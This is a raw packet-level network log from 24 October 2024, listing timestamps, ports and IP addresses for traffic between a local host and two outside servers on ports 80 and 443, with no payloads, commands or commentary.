Oct 24, 2024 04:58:20.177534103 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.177557945 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.177588940 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.177916050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.177948952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.177983046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178030968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.178359985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178392887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178425074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178457975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178458929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.178458929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.178493977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178528070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.178550005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.210009098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.210047960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.210086107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.210093021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.210122108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.210154057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.212168932 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212235928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212270975 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212287903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.212306023 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212343931 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.212410927 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.212563038 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212595940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212637901 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212641001 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.212671995 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212707996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.212719917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.212762117 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.213226080 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.213279963 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.213313103 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.213335037 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.213346004 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.213363886 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.213380098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.213395119 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.213421106 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.253384113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.253418922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.253456116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.253499031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.253525019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.290572882 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.290604115 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.290676117 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.292727947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.292762041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.292795897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.292824984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.297209024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297247887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297281027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297311068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.297331095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.297554016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297610998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297646046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297660112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.297679901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297707081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297750950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.297792912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297821045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.297864914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.328958988 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.328978062 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.328994989 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329046011 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.329067945 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.329149008 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329163074 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329180002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329202890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329216957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329226017 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.329261065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.329323053 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329385996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329401016 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329432011 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.329440117 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.329451084 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329466105 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.329507113 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.330225945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.330249071 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.330265999 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.330280066 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.330296040 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.330329895 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.330370903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.331016064 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.331084967 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.372790098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.372829914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.372865915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.372927904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.412621021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.412674904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.412771940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.412801027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.412806988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.412832975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.412848949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.415095091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.416691065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.416723013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.416789055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.416841984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.416894913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.416944981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.416954994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.416985035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.417037964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.417076111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.417083979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.417113066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.417155027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.433878899 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.433938026 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.433979988 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434015989 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434019089 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.434077024 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434115887 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.434425116 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434465885 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434504986 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.434509039 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434524059 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.434556961 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.445935965 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.445997953 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446013927 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446033001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446043968 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446068048 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446106911 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446126938 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446145058 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446269989 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446305990 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446316957 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446347952 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446423054 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446470976 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446475983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446511984 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446536064 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446543932 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446553946 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446577072 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.446598053 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.446620941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.447271109 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.447303057 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.447325945 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.447344065 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.447357893 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.447391033 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.447426081 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.447428942 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.447459936 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.447504044 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.448344946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.448400021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.448426008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.448452950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.448481083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.448529005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.491936922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.492000103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.492010117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.492041111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.492075920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.492122889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.531449080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531486034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531527042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531563997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531569004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.531601906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.531644106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531697989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531733036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.531749010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.531776905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.536331892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.536381960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.536416054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.536448002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.536449909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.536483049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.536508083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.552325010 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552376986 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552412987 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552424908 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.552444935 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552478075 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552478075 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.552534103 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.552560091 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552593946 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.552622080 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.552643061 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.553383112 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.553400040 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.563072920 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563129902 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563163996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563163996 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563198090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563231945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563280106 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563286066 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563286066 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563297987 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563333035 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563339949 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563373089 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563380003 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563409090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563420057 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563446045 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563801050 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563833952 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563851118 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563868046 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563878059 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563900948 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563911915 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563935995 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563946009 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.563971996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.563977957 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.564017057 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.564584970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.564657927 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.564676046 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.564708948 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.564724922 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.564743042 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.564753056 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.564807892 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.567869902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.567905903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.567939997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.567958117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.567991972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.611244917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.611280918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.611331940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.611331940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650660992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650700092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650717974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.650736094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650880098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650882959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.650914907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650949001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.650962114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.655551910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.655586004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.655620098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.655633926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.655662060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.679899931 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.679935932 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.679966927 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.679975986 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.679986954 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680022001 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680030107 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680074930 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680083990 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680114031 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680160999 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680202007 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680236101 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680248976 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680272102 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680280924 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680306911 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680315018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680350065 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680748940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680780888 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680800915 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680815935 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680825949 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680847883 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680860996 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680881977 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.680890083 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.680927992 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.681329966 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.681364059 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.681382895 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.681397915 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.681411982 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.681432009 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.681437016 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.681476116 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.723676920 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.723707914 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.723772049 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.796881914 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.796958923 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797003031 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797017097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797044992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797063112 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797096968 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797102928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797132969 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797147036 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797167063 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797175884 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797202110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797208071 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.797235966 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.797244072 CEST	50000	80	192.168.2.6	185.215.113.16
